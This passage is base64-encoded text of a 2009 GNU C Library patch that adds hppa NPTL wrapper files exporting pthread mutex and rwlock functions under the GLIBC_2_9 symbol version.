bnRyaWJ1dGVkIGJ5IENhcmxvcyBPJ0RvbmVsbCA8Y2FybG9zQGNvZGVzb3Vy
Y2VyeS5jb20+LCAyMDA5LgorCisgICBUaGUgR05VIEMgTGlicmFyeSBpcyBm
cmVlIHNvZnR3YXJlOyB5b3UgY2FuIHJlZGlzdHJpYnV0ZSBpdCBhbmQvb3IK
KyAgIG1vZGlmeSBpdCB1bmRlciB0aGUgdGVybXMgb2YgdGhlIEdOVSBMZXNz
ZXIgR2VuZXJhbCBQdWJsaWMKKyAgIExpY2Vuc2UgYXMgcHVibGlzaGVkIGJ5
IHRoZSBGcmVlIFNvZnR3YXJlIEZvdW5kYXRpb247IGVpdGhlcgorICAgdmVy
c2lvbiAyLjEgb2YgdGhlIExpY2Vuc2UsIG9yIChhdCB5b3VyIG9wdGlvbikg
YW55IGxhdGVyIHZlcnNpb24uCisKKyAgIFRoZSBHTlUgQyBMaWJyYXJ5IGlz
IGRpc3RyaWJ1dGVkIGluIHRoZSBob3BlIHRoYXQgaXQgd2lsbCBiZSB1c2Vm
dWwsCisgICBidXQgV0lUSE9VVCBBTlkgV0FSUkFOVFk7IHdpdGhvdXQgZXZl
biB0aGUgaW1wbGllZCB3YXJyYW50eSBvZgorICAgTUVSQ0hBTlRBQklMSVRZ
IG9yIEZJVE5FU1MgRk9SIEEgUEFSVElDVUxBUiBQVVJQT1NFLiAgU2VlIHRo
ZSBHTlUKKyAgIExlc3NlciBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlIGZvciBt
b3JlIGRldGFpbHMuCisKKyAgIFlvdSBzaG91bGQgaGF2ZSByZWNlaXZlZCBh
IGNvcHkgb2YgdGhlIEdOVSBMZXNzZXIgR2VuZXJhbCBQdWJsaWMKKyAgIExp
Y2Vuc2UgYWxvbmcgd2l0aCB0aGUgR05VIEMgTGlicmFyeTsgaWYgbm90LCB3
cml0ZSB0byB0aGUgRnJlZQorICAgU29mdHdhcmUgRm91bmRhdGlvbiwgSW5j
LiwgNTkgVGVtcGxlIFBsYWNlLCBTdWl0ZSAzMzAsIEJvc3RvbiwgTUEKKyAg
IDAyMTExLTEzMDcgVVNBLiAgKi8KKworI2lmbmRlZiBJTkNMVURFRF9TRUxG
CisjIGRlZmluZSBJTkNMVURFRF9TRUxGCisjIGluY2x1ZGUgPHB0aHJlYWRf
bXV0ZXhfdGltZWRsb2NrLmM+CisjZWxzZQorIyBpbmNsdWRlIDxzaGxpYi1j
b21wYXQuaD4KKyMgaW5jbHVkZSA8bGliYy1zeW1ib2xzLmg+CisjIGluY2x1
ZGUgInB0aHJlYWRQLmgiCisjIHVuZGVmIHN0cm9uZ19hbGlhcworIyBkZWZp
bmUgc3Ryb25nX2FsaWFzKG5hbWUsIGFsaWFzbmFtZSkKKyMgdW5kZWYgcHRo
cmVhZF9tdXRleF90aW1lZGxvY2sKKyMgZGVmaW5lIHB0aHJlYWRfbXV0ZXhf
dGltZWRsb2NrIF9fcHRocmVhZF9tdXRleF90aW1lZGxvY2sKKyMgaW5jbHVk
ZV9uZXh0IDxwdGhyZWFkX211dGV4X3RpbWVkbG9jay5jPgorIyB1bmRlZiBz
dHJvbmdfYWxpYXMKKyMgZGVmaW5lIHN0cm9uZ19hbGlhcyhuYW1lLCBhbGlh
c25hbWUpIF9zdHJvbmdfYWxpYXMobmFtZSwgYWxpYXNuYW1lKQorIyB1bmRl
ZiBwdGhyZWFkX211dGV4X3RpbWVkbG9jawordmVyc2lvbmVkX3N5bWJvbCAo
bGlicHRocmVhZCwgX19wdGhyZWFkX211dGV4X3RpbWVkbG9jaywKKwkJICBw
dGhyZWFkX211dGV4X3RpbWVkbG9jaywgR0xJQkNfMl85KTsKKyNlbmRpZgor
CkluZGV4OiBzeXNkZXBzL3VuaXgvc3lzdi9saW51eC9ocHBhL25wdGwvcHRo
cmVhZF9tdXRleF90cnlsb2NrLmMKPT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpS
Q1MgZmlsZTogc3lzZGVwcy91bml4L3N5c3YvbGludXgvaHBwYS9ucHRsL3B0
aHJlYWRfbXV0ZXhfdHJ5bG9jay5jCmRpZmYgLU4gc3lzZGVwcy91bml4L3N5
c3YvbGludXgvaHBwYS9ucHRsL3B0aHJlYWRfbXV0ZXhfdHJ5bG9jay5jCi0t
LSAvZGV2L251bGwJMSBKYW4gMTk3MCAwMDowMDowMCAtMDAwMAorKysgc3lz
ZGVwcy91bml4L3N5c3YvbGludXgvaHBwYS9ucHRsL3B0aHJlYWRfbXV0ZXhf
dHJ5bG9jay5jCTIgQXByIDIwMDkgMDI6MzQ6MDMgLTAwMDAKQEAgLTAsMCAr
MSwzNSBAQAorLyogQ29weXJpZ2h0IChDKSAyMDA5IEZyZWUgU29mdHdhcmUg
Rm91bmRhdGlvbiwgSW5jLgorICAgVGhpcyBmaWxlIGlzIHBhcnQgb2YgdGhl
IEdOVSBDIExpYnJhcnkuCisgICBDb250cmlidXRlZCBieSBDYXJsb3MgTydE
b25lbGwgPGNhcmxvc0Bjb2Rlc291cmNlcnkuY29tPiwgMjAwOS4KKworICAg
VGhlIEdOVSBDIExpYnJhcnkgaXMgZnJlZSBzb2Z0d2FyZTsgeW91IGNhbiBy
ZWRpc3RyaWJ1dGUgaXQgYW5kL29yCisgICBtb2RpZnkgaXQgdW5kZXIgdGhl
IHRlcm1zIG9mIHRoZSBHTlUgTGVzc2VyIEdlbmVyYWwgUHVibGljCisgICBM
aWNlbnNlIGFzIHB1Ymxpc2hlZCBieSB0aGUgRnJlZSBTb2Z0d2FyZSBGb3Vu
ZGF0aW9uOyBlaXRoZXIKKyAgIHZlcnNpb24gMi4xIG9mIHRoZSBMaWNlbnNl
LCBvciAoYXQgeW91ciBvcHRpb24pIGFueSBsYXRlciB2ZXJzaW9uLgorCisg
ICBUaGUgR05VIEMgTGlicmFyeSBpcyBkaXN0cmlidXRlZCBpbiB0aGUgaG9w
ZSB0aGF0IGl0IHdpbGwgYmUgdXNlZnVsLAorICAgYnV0IFdJVEhPVVQgQU5Z
IFdBUlJBTlRZOyB3aXRob3V0IGV2ZW4gdGhlIGltcGxpZWQgd2FycmFudHkg
b2YKKyAgIE1FUkNIQU5UQUJJTElUWSBvciBGSVRORVNTIEZPUiBBIFBBUlRJ
Q1VMQVIgUFVSUE9TRS4gIFNlZSB0aGUgR05VCisgICBMZXNzZXIgR2VuZXJh
bCBQdWJsaWMgTGljZW5zZSBmb3IgbW9yZSBkZXRhaWxzLgorCisgICBZb3Ug
c2hvdWxkIGhhdmUgcmVjZWl2ZWQgYSBjb3B5IG9mIHRoZSBHTlUgTGVzc2Vy
IEdlbmVyYWwgUHVibGljCisgICBMaWNlbnNlIGFsb25nIHdpdGggdGhlIEdO
VSBDIExpYnJhcnk7IGlmIG5vdCwgd3JpdGUgdG8gdGhlIEZyZWUKKyAgIFNv
ZnR3YXJlIEZvdW5kYXRpb24sIEluYy4sIDU5IFRlbXBsZSBQbGFjZSwgU3Vp
dGUgMzMwLCBCb3N0b24sIE1BCisgICAwMjExMS0xMzA3IFVTQS4gICovCisK
KyNpZm5kZWYgSU5DTFVERURfU0VMRgorIyBkZWZpbmUgSU5DTFVERURfU0VM
RgorIyBpbmNsdWRlIDxwdGhyZWFkX211dGV4X3RyeWxvY2suYz4KKyNlbHNl
CisjIGluY2x1ZGUgPHNobGliLWNvbXBhdC5oPgorIyBpbmNsdWRlIDxsaWJj
LXN5bWJvbHMuaD4KKyMgaW5jbHVkZSAicHRocmVhZFAuaCIKKyMgdW5kZWYg
c3Ryb25nX2FsaWFzCisjIGRlZmluZSBzdHJvbmdfYWxpYXMobmFtZSwgYWxp
YXNuYW1lKQorIyBpbmNsdWRlX25leHQgPHB0aHJlYWRfbXV0ZXhfdHJ5bG9j
ay5jPgorIyB1bmRlZiBzdHJvbmdfYWxpYXMKKyMgZGVmaW5lIHN0cm9uZ19h
bGlhcyhuYW1lLCBhbGlhc25hbWUpIF9zdHJvbmdfYWxpYXMobmFtZSwgYWxp
YXNuYW1lKQordmVyc2lvbmVkX3N5bWJvbCAobGlicHRocmVhZCwgX19wdGhy
ZWFkX211dGV4X3RyeWxvY2ssCisJCSAgcHRocmVhZF9tdXRleF90cnlsb2Nr
LCBHTElCQ18yXzkpOworI2VuZGlmCisKSW5kZXg6IHN5c2RlcHMvdW5peC9z
eXN2L2xpbnV4L2hwcGEvbnB0bC9wdGhyZWFkX211dGV4X3VubG9jay5jCj09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT0KUkNTIGZpbGU6IHN5c2RlcHMvdW5peC9z
eXN2L2xpbnV4L2hwcGEvbnB0bC9wdGhyZWFkX211dGV4X3VubG9jay5jCmRp
ZmYgLU4gc3lzZGVwcy91bml4L3N5c3YvbGludXgvaHBwYS9ucHRsL3B0aHJl
YWRfbXV0ZXhfdW5sb2NrLmMKLS0tIC9kZXYvbnVsbAkxIEphbiAxOTcwIDAw
OjAwOjAwIC0wMDAwCisrKyBzeXNkZXBzL3VuaXgvc3lzdi9saW51eC9ocHBh
L25wdGwvcHRocmVhZF9tdXRleF91bmxvY2suYwkyIEFwciAyMDA5IDAyOjM0
OjAzIC0wMDAwCkBAIC0wLDAgKzEsMzYgQEAKKy8qIENvcHlyaWdodCAoQykg
MjAwOSBGcmVlIFNvZnR3YXJlIEZvdW5kYXRpb24sIEluYy4KKyAgIFRoaXMg
ZmlsZSBpcyBwYXJ0IG9mIHRoZSBHTlUgQyBMaWJyYXJ5LgorICAgQ29udHJp
YnV0ZWQgYnkgQ2FybG9zIE8nRG9uZWxsIDxjYXJsb3NAY29kZXNvdXJjZXJ5
LmNvbT4sIDIwMDkuCisKKyAgIFRoZSBHTlUgQyBMaWJyYXJ5IGlzIGZyZWUg
c29mdHdhcmU7IHlvdSBjYW4gcmVkaXN0cmlidXRlIGl0IGFuZC9vcgorICAg
bW9kaWZ5IGl0IHVuZGVyIHRoZSB0ZXJtcyBvZiB0aGUgR05VIExlc3NlciBH
ZW5lcmFsIFB1YmxpYworICAgTGljZW5zZSBhcyBwdWJsaXNoZWQgYnkgdGhl
IEZyZWUgU29mdHdhcmUgRm91bmRhdGlvbjsgZWl0aGVyCisgICB2ZXJzaW9u
IDIuMSBvZiB0aGUgTGljZW5zZSwgb3IgKGF0IHlvdXIgb3B0aW9uKSBhbnkg
bGF0ZXIgdmVyc2lvbi4KKworICAgVGhlIEdOVSBDIExpYnJhcnkgaXMgZGlz
dHJpYnV0ZWQgaW4gdGhlIGhvcGUgdGhhdCBpdCB3aWxsIGJlIHVzZWZ1bCwK
KyAgIGJ1dCBXSVRIT1VUIEFOWSBXQVJSQU5UWTsgd2l0aG91dCBldmVuIHRo
ZSBpbXBsaWVkIHdhcnJhbnR5IG9mCisgICBNRVJDSEFOVEFCSUxJVFkgb3Ig
RklUTkVTUyBGT1IgQSBQQVJUSUNVTEFSIFBVUlBPU0UuICBTZWUgdGhlIEdO
VQorICAgTGVzc2VyIEdlbmVyYWwgUHVibGljIExpY2Vuc2UgZm9yIG1vcmUg
ZGV0YWlscy4KKworICAgWW91IHNob3VsZCBoYXZlIHJlY2VpdmVkIGEgY29w
eSBvZiB0aGUgR05VIExlc3NlciBHZW5lcmFsIFB1YmxpYworICAgTGljZW5z
ZSBhbG9uZyB3aXRoIHRoZSBHTlUgQyBMaWJyYXJ5OyBpZiBub3QsIHdyaXRl
IHRvIHRoZSBGcmVlCisgICBTb2Z0d2FyZSBGb3VuZGF0aW9uLCBJbmMuLCA1
OSBUZW1wbGUgUGxhY2UsIFN1aXRlIDMzMCwgQm9zdG9uLCBNQQorICAgMDIx
MTEtMTMwNyBVU0EuICAqLworCisjaWZuZGVmIElOQ0xVREVEX1NFTEYKKyMg
ZGVmaW5lIElOQ0xVREVEX1NFTEYKKyMgaW5jbHVkZSA8cHRocmVhZF9tdXRl
eF91bmxvY2suYz4KKyNlbHNlCisjIGluY2x1ZGUgPHNobGliLWNvbXBhdC5o
PgorIyBpbmNsdWRlIDxsaWJjLXN5bWJvbHMuaD4KKyMgaW5jbHVkZSAicHRo
cmVhZFAuaCIKKyMgdW5kZWYgc3Ryb25nX2FsaWFzCisjIGRlZmluZSBzdHJv
bmdfYWxpYXMobmFtZSwgYWxpYXNuYW1lKQorIyBpbmNsdWRlX25leHQgPHB0
aHJlYWRfbXV0ZXhfdW5sb2NrLmM+CisjIHVuZGVmIHN0cm9uZ19hbGlhcwor
IyBkZWZpbmUgc3Ryb25nX2FsaWFzKG5hbWUsIGFsaWFzbmFtZSkgX3N0cm9u
Z19hbGlhcyhuYW1lLCBhbGlhc25hbWUpCit2ZXJzaW9uZWRfc3ltYm9sIChs
aWJwdGhyZWFkLCBfX3B0aHJlYWRfbXV0ZXhfdW5sb2NrLAorCQkgIHB0aHJl
YWRfbXV0ZXhfdW5sb2NrLCBHTElCQ18yXzkpOworc3Ryb25nX2FsaWFzIChf
X3B0aHJlYWRfbXV0ZXhfdW5sb2NrLCBfX3B0aHJlYWRfbXV0ZXhfdW5sb2Nr
X2ludGVybmFsKQorI2VuZGlmCisKSW5kZXg6IHN5c2RlcHMvdW5peC9zeXN2
L2xpbnV4L2hwcGEvbnB0bC9wdGhyZWFkX3J3bG9ja19kZXN0cm95LmMKPT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PQpSQ1MgZmlsZTogc3lzZGVwcy91bml4L3N5
c3YvbGludXgvaHBwYS9ucHRsL3B0aHJlYWRfcndsb2NrX2Rlc3Ryb3kuYwpk
aWZmIC1OIHN5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbnB0bC9wdGhy
ZWFkX3J3bG9ja19kZXN0cm95LmMKLS0tIC9kZXYvbnVsbAkxIEphbiAxOTcw
IDAwOjAwOjAwIC0wMDAwCisrKyBzeXNkZXBzL3VuaXgvc3lzdi9saW51eC9o
cHBhL25wdGwvcHRocmVhZF9yd2xvY2tfZGVzdHJveS5jCTIgQXByIDIwMDkg
MDI6MzQ6MDMgLTAwMDAKQEAgLTAsMCArMSwzNSBAQAorLyogQ29weXJpZ2h0
IChDKSAyMDA5IEZyZWUgU29mdHdhcmUgRm91bmRhdGlvbiwgSW5jLgorICAg
VGhpcyBmaWxlIGlzIHBhcnQgb2YgdGhlIEdOVSBDIExpYnJhcnkuCisgICBD
b250cmlidXRlZCBieSBDYXJsb3MgTydEb25lbGwgPGNhcmxvc0Bjb2Rlc291
cmNlcnkuY29tPiwgMjAwOS4KKworICAgVGhlIEdOVSBDIExpYnJhcnkgaXMg
ZnJlZSBzb2Z0d2FyZTsgeW91IGNhbiByZWRpc3RyaWJ1dGUgaXQgYW5kL29y
CisgICBtb2RpZnkgaXQgdW5kZXIgdGhlIHRlcm1zIG9mIHRoZSBHTlUgTGVz
c2VyIEdlbmVyYWwgUHVibGljCisgICBMaWNlbnNlIGFzIHB1Ymxpc2hlZCBi
eSB0aGUgRnJlZSBTb2Z0d2FyZSBGb3VuZGF0aW9uOyBlaXRoZXIKKyAgIHZl
cnNpb24gMi4xIG9mIHRoZSBMaWNlbnNlLCBvciAoYXQgeW91ciBvcHRpb24p
IGFueSBsYXRlciB2ZXJzaW9uLgorCisgICBUaGUgR05VIEMgTGlicmFyeSBp
cyBkaXN0cmlidXRlZCBpbiB0aGUgaG9wZSB0aGF0IGl0IHdpbGwgYmUgdXNl
ZnVsLAorICAgYnV0IFdJVEhPVVQgQU5ZIFdBUlJBTlRZOyB3aXRob3V0IGV2
ZW4gdGhlIGltcGxpZWQgd2FycmFudHkgb2YKKyAgIE1FUkNIQU5UQUJJTElU
WSBvciBGSVRORVNTIEZPUiBBIFBBUlRJQ1VMQVIgUFVSUE9TRS4gIFNlZSB0
aGUgR05VCisgICBMZXNzZXIgR2VuZXJhbCBQdWJsaWMgTGljZW5zZSBmb3Ig
bW9yZSBkZXRhaWxzLgorCisgICBZb3Ugc2hvdWxkIGhhdmUgcmVjZWl2ZWQg
YSBjb3B5IG9mIHRoZSBHTlUgTGVzc2VyIEdlbmVyYWwgUHVibGljCisgICBM
aWNlbnNlIGFsb25nIHdpdGggdGhlIEdOVSBDIExpYnJhcnk7IGlmIG5vdCwg
d3JpdGUgdG8gdGhlIEZyZWUKKyAgIFNvZnR3YXJlIEZvdW5kYXRpb24sIElu
Yy4sIDU5IFRlbXBsZSBQbGFjZSwgU3VpdGUgMzMwLCBCb3N0b24sIE1BCisg
ICAwMjExMS0xMzA3IFVTQS4gICovCisKKyNpZm5kZWYgSU5DTFVERURfU0VM
RgorIyBkZWZpbmUgSU5DTFVERURfU0VMRgorIyBpbmNsdWRlIDxwdGhyZWFk
X3J3bG9ja19kZXN0cm95LmM+CisjZWxzZQorIyBpbmNsdWRlIDxzaGxpYi1j
b21wYXQuaD4KKyMgaW5jbHVkZSA8bGliYy1zeW1ib2xzLmg+CisjIGluY2x1
ZGUgInB0aHJlYWRQLmgiCisjIHVuZGVmIHN0cm9uZ19hbGlhcworIyBkZWZp
bmUgc3Ryb25nX2FsaWFzKG5hbWUsIGFsaWFzbmFtZSkKKyMgaW5jbHVkZV9u
ZXh0IDxwdGhyZWFkX3J3bG9ja19kZXN0cm95LmM+CisjIHVuZGVmIHN0cm9u
Z19hbGlhcworIyBkZWZpbmUgc3Ryb25nX2FsaWFzKG5hbWUsIGFsaWFzbmFt
ZSkgX3N0cm9uZ19hbGlhcyhuYW1lLCBhbGlhc25hbWUpCit2ZXJzaW9uZWRf
c3ltYm9sIChsaWJwdGhyZWFkLCBfX3B0aHJlYWRfcndsb2NrX2Rlc3Ryb3ks
CisJCSAgcHRocmVhZF9yd2xvY2tfZGVzdHJveSwgR0xJQkNfMl85KTsKKyNl
bmRpZgorCkluZGV4OiBzeXNkZXBzL3VuaXgvc3lzdi9saW51eC9ocHBhL25w
dGwvcHRocmVhZF9yd2xvY2tfaW5pdC5jCj09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT0KUkNTIGZpbGU6IHN5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbnB0
bC9wdGhyZWFkX3J3bG9ja19pbml0LmMKZGlmZiAtTiBzeXNkZXBzL3VuaXgv
c3lzdi9saW51eC9ocHBhL25wdGwvcHRocmVhZF9yd2xvY2tfaW5pdC5jCi0t
LSAvZGV2L251bGwJMSBKYW4gMTk3MCAwMDowMDowMCAtMDAwMAorKysgc3lz
ZGVwcy91bml4L3N5c3YvbGludXgvaHBwYS9ucHRsL3B0aHJlYWRfcndsb2Nr
X2luaXQuYwkyIEFwciAyMDA5IDAyOjM0OjAzIC0wMDAwCkBAIC0wLDAgKzEs
MzUgQEAKKy8qIENvcHlyaWdodCAoQykgMjAwOSBGcmVlIFNvZnR3YXJlIEZv
dW5kYXRpb24sIEluYy4KKyAgIFRoaXMgZmlsZSBpcyBwYXJ0IG9mIHRoZSBH
TlUgQyBMaWJyYXJ5LgorICAgQ29udHJpYnV0ZWQgYnkgQ2FybG9zIE8nRG9u
ZWxsIDxjYXJsb3NAY29kZXNvdXJjZXJ5LmNvbT4sIDIwMDkuCisKKyAgIFRo
ZSBHTlUgQyBMaWJyYXJ5IGlzIGZyZWUgc29mdHdhcmU7IHlvdSBjYW4gcmVk
aXN0cmlidXRlIGl0IGFuZC9vcgorICAgbW9kaWZ5IGl0IHVuZGVyIHRoZSB0
ZXJtcyBvZiB0aGUgR05VIExlc3NlciBHZW5lcmFsIFB1YmxpYworICAgTGlj
ZW5zZSBhcyBwdWJsaXNoZWQgYnkgdGhlIEZyZWUgU29mdHdhcmUgRm91bmRh
dGlvbjsgZWl0aGVyCisgICB2ZXJzaW9uIDIuMSBvZiB0aGUgTGljZW5zZSwg
b3IgKGF0IHlvdXIgb3B0aW9uKSBhbnkgbGF0ZXIgdmVyc2lvbi4KKworICAg
VGhlIEdOVSBDIExpYnJhcnkgaXMgZGlzdHJpYnV0ZWQgaW4gdGhlIGhvcGUg
dGhhdCBpdCB3aWxsIGJlIHVzZWZ1bCwKKyAgIGJ1dCBXSVRIT1VUIEFOWSBX
QVJSQU5UWTsgd2l0aG91dCBldmVuIHRoZSBpbXBsaWVkIHdhcnJhbnR5IG9m
CisgICBNRVJDSEFOVEFCSUxJVFkgb3IgRklUTkVTUyBGT1IgQSBQQVJUSUNV
TEFSIFBVUlBPU0UuICBTZWUgdGhlIEdOVQorICAgTGVzc2VyIEdlbmVyYWwg
UHVibGljIExpY2Vuc2UgZm9yIG1vcmUgZGV0YWlscy4KKworICAgWW91IHNo
b3VsZCBoYXZlIHJlY2VpdmVkIGEgY29weSBvZiB0aGUgR05VIExlc3NlciBH
ZW5lcmFsIFB1YmxpYworICAgTGljZW5zZSBhbG9uZyB3aXRoIHRoZSBHTlUg
QyBMaWJyYXJ5OyBpZiBub3QsIHdyaXRlIHRvIHRoZSBGcmVlCisgICBTb2Z0
d2FyZSBGb3VuZGF0aW9uLCBJbmMuLCA1OSBUZW1wbGUgUGxhY2UsIFN1aXRl
IDMzMCwgQm9zdG9uLCBNQQorICAgMDIxMTEtMTMwNyBVU0EuICAqLworCisj
aWZuZGVmIElOQ0xVREVEX1NFTEYKKyMgZGVmaW5lIElOQ0xVREVEX1NFTEYK
KyMgaW5jbHVkZSA8cHRocmVhZF9yd2xvY2tfaW5pdC5jPgorI2Vsc2UKKyMg
aW5jbHVkZSA8c2hsaWItY29tcGF0Lmg+CisjIGluY2x1ZGUgPGxpYmMtc3lt
Ym9scy5oPgorIyBpbmNsdWRlICJwdGhyZWFkUC5oIgorIyB1bmRlZiBzdHJv
bmdfYWxpYXMKKyMgZGVmaW5lIHN0cm9uZ19hbGlhcyhuYW1lLCBhbGlhc25h
bWUpCisjIGluY2x1ZGVfbmV4dCA8cHRocmVhZF9yd2xvY2tfaW5pdC5jPgor
IyB1bmRlZiBzdHJvbmdfYWxpYXMKKyMgZGVmaW5lIHN0cm9uZ19hbGlhcyhu
YW1lLCBhbGlhc25hbWUpIF9zdHJvbmdfYWxpYXMobmFtZSwgYWxpYXNuYW1l
KQordmVyc2lvbmVkX3N5bWJvbCAobGlicHRocmVhZCwgX19wdGhyZWFkX3J3
bG9ja19pbml0LAorCQkgIHB0aHJlYWRfcndsb2NrX2luaXQsIEdMSUJDXzJf
OSk7CisjZW5kaWYKKwpJbmRleDogc3lzZGVwcy91bml4L3N5c3YvbGludXgv
aHBwYS9ucHRsL3B0aHJlYWRfcndsb2NrX3JkbG9jay5jCj09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT0KUkNTIGZpbGU6IHN5c2RlcHMvdW5peC9zeXN2L2xpbnV4
L2hwcGEvbnB0bC9wdGhyZWFkX3J3bG9ja19yZGxvY2suYwpkaWZmIC1OIHN5
c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbnB0bC9wdGhyZWFkX3J3bG9j
a19yZGxvY2suYwotLS0gL2Rldi9udWxsCTEgSmFuIDE5NzAgMDA6MDA6MDAg
LTAwMDAKKysrIHN5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbnB0bC9w
dGhyZWFkX3J3bG9ja19yZGxvY2suYwkyIEFwciAyMDA5IDAyOjM0OjAzIC0w
MDAwCkBAIC0wLDAgKzEsNDAgQEAKKy8qIENvcHlyaWdodCAoQykgMjAwOSBG
cmVlIFNvZnR3YXJlIEZvdW5kYXRpb24sIEluYy4KKyAgIFRoaXMgZmlsZSBp
cyBwYXJ0IG9mIHRoZSBHTlUgQyBMaWJyYXJ5LgorICAgQ29udHJpYnV0ZWQg
YnkgQ2FybG9zIE8nRG9uZWxsIDxjYXJsb3NAY29kZXNvdXJjZXJ5LmNvbT4s
IDIwMDkuCisKKyAgIFRoZSBHTlUgQyBMaWJyYXJ5IGlzIGZyZWUgc29mdHdh
cmU7IHlvdSBjYW4gcmVkaXN0cmlidXRlIGl0IGFuZC9vcgorICAgbW9kaWZ5
IGl0IHVuZGVyIHRoZSB0ZXJtcyBvZiB0aGUgR05VIExlc3NlciBHZW5lcmFs
IFB1YmxpYworICAgTGljZW5zZSBhcyBwdWJsaXNoZWQgYnkgdGhlIEZyZWUg
U29mdHdhcmUgRm91bmRhdGlvbjsgZWl0aGVyCisgICB2ZXJzaW9uIDIuMSBv
ZiB0aGUgTGljZW5zZSwgb3IgKGF0IHlvdXIgb3B0aW9uKSBhbnkgbGF0ZXIg
dmVyc2lvbi4KKworICAgVGhlIEdOVSBDIExpYnJhcnkgaXMgZGlzdHJpYnV0
ZWQgaW4gdGhlIGhvcGUgdGhhdCBpdCB3aWxsIGJlIHVzZWZ1bCwKKyAgIGJ1
dCBXSVRIT1VUIEFOWSBXQVJSQU5UWTsgd2l0aG91dCBldmVuIHRoZSBpbXBs
aWVkIHdhcnJhbnR5IG9mCisgICBNRVJDSEFOVEFCSUxJVFkgb3IgRklUTkVT
UyBGT1IgQSBQQVJUSUNVTEFSIFBVUlBPU0UuICBTZWUgdGhlIEdOVQorICAg
TGVzc2VyIEdlbmVyYWwgUHVibGljIExpY2Vuc2UgZm9yIG1vcmUgZGV0YWls
cy4KKworICAgWW91IHNob3VsZCBoYXZlIHJlY2VpdmVkIGEgY29weSBvZiB0
aGUgR05VIExlc3NlciBHZW5lcmFsIFB1YmxpYworICAgTGljZW5zZSBhbG9u
ZyB3aXRoIHRoZSBHTlUgQyBMaWJyYXJ5OyBpZiBub3QsIHdyaXRlIHRvIHRo
ZSBGcmVlCisgICBTb2Z0d2FyZSBGb3VuZGF0aW9uLCBJbmMuLCA1OSBUZW1w
bGUgUGxhY2UsIFN1aXRlIDMzMCwgQm9zdG9uLCBNQQorICAgMDIxMTEtMTMw
NyBVU0EuICAqLworCisjaWZuZGVmIElOQ0xVREVEX1NFTEYKKyMgZGVmaW5l
IElOQ0xVREVEX1NFTEYKKyMgaW5jbHVkZSA8cHRocmVhZF9yd2xvY2tfcmRs
b2NrLmM+CisjZWxzZQorIyBpbmNsdWRlIDxzaGxpYi1jb21wYXQuaD4KKyMg
aW5jbHVkZSA8bGliYy1zeW1ib2xzLmg+CisjIGluY2x1ZGUgInB0aHJlYWRQ
LmgiCisjIHVuZGVmIHN0cm9uZ19hbGlhcworIyBkZWZpbmUgc3Ryb25nX2Fs
aWFzKG5hbWUsIGFsaWFzbmFtZSkKKyMgdW5kZWYgd2Vha19hbGlhcworIyBk
ZWZpbmUgd2Vha19hbGlhcyhuYW1lLCBhbGlhc25hbWUpCisjIGluY2x1ZGVf
bmV4dCA8cHRocmVhZF9yd2xvY2tfcmRsb2NrLmM+CisjIHVuZGVmIHN0cm9u
Z19hbGlhcworIyBkZWZpbmUgc3Ryb25nX2FsaWFzKG5hbWUsIGFsaWFzbmFt
ZSkgX3N0cm9uZ19hbGlhcyhuYW1lLCBhbGlhc25hbWUpCisjIHVuZGVmIHdl
YWtfYWxpYXMKKyMgZGVmaW5lIHdlYWtfYWxpYXMobmFtZSwgYWxpYXNuYW1l
KSBfd2Vha19hbGlhcyhuYW1lLCBhbGlhc25hbWUpCit2ZXJzaW9uZWRfc3lt
Ym9sIChsaWJwdGhyZWFkLCBfX3B0aHJlYWRfcndsb2NrX3JkbG9jaywKKwkJ
ICBwdGhyZWFkX3J3bG9ja19yZGxvY2ssIEdMSUJDXzJfOSk7CitzdHJvbmdf
YWxpYXMgKF9fcHRocmVhZF9yd2xvY2tfcmRsb2NrLCBfX3B0aHJlYWRfcnds
b2NrX3JkbG9ja19pbnRlcm5hbCkKKyNlbmRpZgorCkluZGV4OiBzeXNkZXBz
L3VuaXgvc3lzdi9saW51eC9ocHBhL25wdGwvcHRocmVhZF9yd2xvY2tfdGlt
ZWRyZGxvY2suYwo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09ClJDUyBmaWxlOiBz
eXNkZXBzL3VuaXgvc3lzdi9saW51eC9ocHBhL25wdGwvcHRocmVhZF9yd2xv
Y2tfdGltZWRyZGxvY2suYwpkaWZmIC1OIHN5c2RlcHMvdW5peC9zeXN2L2xp
bnV4L2hwcGEvbnB0bC9wdGhyZWFkX3J3bG9ja190aW1lZHJkbG9jay5jCi0t
LSAvZGV2L251bGwJMSBKYW4gMTk3MCAwMDowMDowMCAtMDAwMAorKysgc3lz
ZGVwcy91bml4L3N5c3YvbGludXgvaHBwYS9ucHRsL3B0aHJlYWRfcndsb2Nr
X3RpbWVkcmRsb2NrLmMJMiBBcHIgMjAwOSAwMjozNDowMyAtMDAwMApAQCAt
MCwwICsxLDM4IEBACisvKiBDb3B5cmlnaHQgKEMpIDIwMDkgRnJlZSBTb2Z0
d2FyZSBGb3VuZGF0aW9uLCBJbmMuCisgICBUaGlzIGZpbGUgaXMgcGFydCBv
ZiB0aGUgR05VIEMgTGlicmFyeS4KKyAgIENvbnRyaWJ1dGVkIGJ5IENhcmxv
cyBPJ0RvbmVsbCA8Y2FybG9zQGNvZGVzb3VyY2VyeS5jb20+LCAyMDA5Lgor
CisgICBUaGUgR05VIEMgTGlicmFyeSBpcyBmcmVlIHNvZnR3YXJlOyB5b3Ug
Y2FuIHJlZGlzdHJpYnV0ZSBpdCBhbmQvb3IKKyAgIG1vZGlmeSBpdCB1bmRl
ciB0aGUgdGVybXMgb2YgdGhlIEdOVSBMZXNzZXIgR2VuZXJhbCBQdWJsaWMK
